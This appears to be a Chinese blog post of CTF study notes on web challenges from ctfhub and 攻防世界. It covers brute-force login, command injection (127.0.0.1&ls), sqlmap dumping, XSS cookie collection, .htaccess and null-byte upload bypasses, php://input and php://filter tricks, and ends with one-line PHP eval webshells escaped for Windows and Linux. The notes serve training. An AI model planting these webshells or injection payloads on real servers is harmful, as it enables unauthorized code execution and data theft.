ctfhub-web、攻防世界篇

基础认证题

抓包如图
页面中依据提示 可猜测用户为admin
可弱口令尝试(admin)------失败
暴脾气,,,词典爆破!
下载其页面提供的词典
抓包处对上图circle处进行解密 在burp的decode模板中进行查询可知其加密方式为base64
载入词典
此处开始走弯路:1.词典所加载的均为密码,缺少用户名(发现问题后,度娘学习正则表达式,很好,又学了个奇奇怪怪的姿势)2.词典爆破后一直都是401返回,长度均为404,没有出现200返回(原因未明)
------------------------------------------我是分割线---------------------------------
折腾一段时间后(替换爆破点,加载词典,设置解密方式),成功爆破出长度为200

Git泄露

要用到工具Githack,虚拟机一找,没有,网上查找Githack安装,???没有输入法吗,掉进一个大坑…配置源,使用sudo,dpkg命令…暂时做不下去了
...

robots.txt

搜素引擎爬取各个网站时,网站告知搜索引擎的爬取范围(设置爬取权限),robots.txt就作为搜素引擎爬取网站时第一个需要查看的文件

灰色按钮(disabled button)

利用开发者工具查看源代码,直接修改按钮对应的代码处(删除或注释掉带有禁用按钮的代码)涉及到html和php的学习

cookies

服务器可以利用Cookies包含信息的任意性来筛选并经常性维护这些信息,以判断在HTTP传输中的状态。Cookies最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是Cookies的功用。另一个重要应用场合是“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同的商品,这些信息都会写入Cookies,以便在最后付款时提取信息。

HTTP中的GET和POST传参

GET传参在URL地址栏直接后面跟 /? +参数名+=+数值
如 /?a=1 传参a=1
POST传参不能直接在URL栏里输入,使用插件hackbar,可以进行post传参


post传参有四种方式,基本样式如下:

POST http://www.example.com HTTP/1.1
Content-Type: application/x-www-form-urlencoded;charset=utf-8
title=test&sub%5B%5D=1&sub%5B%5D=2&sub%5B%5D=3


IP伪造-xff和referer

抓包后改包:
添加 X-Forwarded-For:ip Referer:网站
ip和网站均是要伪造的对象

webshell

使用蚁剑或post方式 使用shell=system(‘cat flag.txt’)

命令执行漏洞

由于输入对管道符 | || & &&过滤不严产生的漏洞
windows或linux下:

格式 说明
command1 && command2 先执行command1,如果为真,再执行command2
command1| command2 只执行command2
command1 & command2 先执行command2后执行command1
command1|| command2 先执行command1,如果为假,再执行command2

git泄露

Windows下githack下载不出现./…/.git
只下载了50x和index (原因不明!)
在这里插入图片描述kali内利用githack 却未发现50x和index


方法一:
在目标文件夹终端直接git show出答案

在这里插入图片描述
方法二:
也可以使用git reset --hard "add flag的那个序列号"回退存有flag的版本
此时文件夹内出现50x和index以及一个flag的txt
在这里插入图片描述

在这里插入图片描述


sql注入

使用sqlmap
整数型以及字符型:
python3 sqlmap.py -u "url" --cookie=""(Ⅰ)
(Ⅰ)跟参数–current-db
(Ⅰ)跟参数-D 数据库名 --tables
(Ⅰ)跟参数-D 数据库名 -T 表名 --columns
(Ⅰ)跟参数-D 数据库名 -T 表名 -C 列名 --dump

命令注入

127.0.0.1&ls
出来一个*.php
此时拼接cat *.php无回显(传送门
此处是字符编码的问题 后面跟| base64出现一堆字符后复制解码即可

xss

在xss平台上注册账号 建立一个项目(勾选默认配置即可)
复制xss代码
在这里插入图片描述 先在第一栏随便输入字符
然后复制url到第二栏 并且更改刚刚的字符 替换拼接为xss代码
发送至服务器即可
在这里插入图片描述在项目里边可以看到反弹回来的内容
在这里插入图片描述

vim

vim是一种开源编辑器,由于在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容:
第一次产生的交换文件名为 . .swp
再次意外退出后,将会产生名为. .swo的交换文件
第三次产生的交换文件则为. .swn
此题使用终端命令vim -r index.php.swp恢复原文件即可

.DS_Store

.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单。
利用工具dsstore:python3 main.py .DS_Store导出一个文本文件

文件上传

js前端验证

写一个一句话木马 查看源码可知只允许上传图片格式
更改文件后缀名 抓包后改回后缀 上传后连接蚁剑
也可以直接禁用js直接上传

DVWA中级文件上传则是通过Content-Type在服务端MIME检测
MIME绕过:略
在这里插入图片描述
.htaccess
百度百科:在这里插入图片描述
写一个.htaccess文件:
正则匹配名为test的文件 当作php文件解析 : <FilesMatch "test"> SetHandler application/x-httpd-php </FilesMatch>
或:
以php解析.htaccess文件所在目录及其子目录中的后缀为.xxx的文件文件 AddType application/x-httpd-php xxx
或:
直接一句话以php解析.htaccess文件所在目录及其子目录中的所有文件文件 SetHandler application/x-httpd-php

上传一个test.jpg的一句话木马,然后连接蚁剑即可
00截断
0x00是字符串的结束标识符,攻击者可以利用手动添加字符串标识符的方式来将后面的内容进行截断,而后面的内容又可以帮助我们绕过检测。%00和0x00,后台读取是遇到%00就会停止。举个例子,url中输入的是upload/post.php%00.jpg,那么后台读取到是upload/post.php,就实现了绕后目的。
00截断的限制条件:PHP<5.3.29,且GPC关闭
注意:00截断是在url的地方实现的

在这里插入图片描述
传图片马 burp抓包 改post后面的url
在这里插入图片描述
蚁剑连接时注意修改url

RCE

php://input
利用php伪协议 PHP伪协议总结
在这里插入图片描述
在hackbar内写/?php://input后POST传参<?php system('');?>得到flag
远程包含
此题也可以利用伪协议解开 但此题考查的是个人vps的利用 待补
读取源代码
利用伪协议中的php://filter
构造url/?php://filter/read=convert.base64-encode/resource=/flag

关于php一句话:
如果在浏览器传参,使用""包裹php一句话,并且echo >*.php的方式写入时时,则需要注意对$的转义,避免此类情况的发生,建议使用’'包裹一句话

在windows下利用cmd的echo >*.php 需要对尖括号进行转义(不必加引号包裹),即:
^<?php @eval($_POST['pass']);?^>

在linux下echo >*.php:
"<?php @eval(\$_POST['pass']);?>"
"<?php @eval(\$_POST[\"pass\"]);?>"
'<?php @eval($_POST["pass"]);?>'
'<?php @eval($_POST[\'pass\']);?>'

猜你喜欢

转载自blog.csdn.net/qq_29163073/article/details/110008997